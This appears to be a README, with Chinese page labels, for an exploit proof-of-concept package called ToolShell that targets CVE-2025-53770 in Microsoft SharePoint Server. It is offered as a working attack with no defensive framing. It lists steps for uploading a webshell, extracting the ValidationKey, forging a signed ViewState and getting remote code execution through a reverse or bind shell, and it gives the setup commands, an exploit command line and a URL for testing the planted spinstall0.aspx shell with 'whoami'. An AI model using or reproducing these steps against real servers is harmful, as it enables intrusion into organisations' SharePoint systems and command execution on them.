CVE-2025-53770 PoC — Microsoft SharePoint Server 安全漏洞

介绍

# ToolShell → CVE‑2025‑53770 Exploit PoC

This package allows:
1. **Upload webshell** to SharePoint
2. **Extract ValidationKey**
3. **Generate signed ViewState**
4. **RCE via reverse/bind shell**

---

## 🔧 Setup

```bash
git clone <this-repo>
cd toolshell-exploit
pip3 install -r requirements.txt
```
## 🤖 Running 

Upload the webshell

From a SharePoint page you can access the page source .Just go to view source tab and From there if available you would get following, which can copy:

A) __VIEWSTATEGENERATOR

B) __EVENTVALIDATION

C) (any current __VIEWSTATE for context)

```bash

python3 toolshell_exploit.py \
  --target https://sharepoint.local \
  --viewstate "<any_BASE64_VIEWSTATE>" \
  --generator "<VIEWSTATEGENERATOR>" \
  --eventval "<EVENTVALIDATION>"
```

This uploads spinstall0.aspx.
Check:
https://sharepoint.local/_layouts/15/spinstall0.aspx?cmd=whoami

文件快照

备注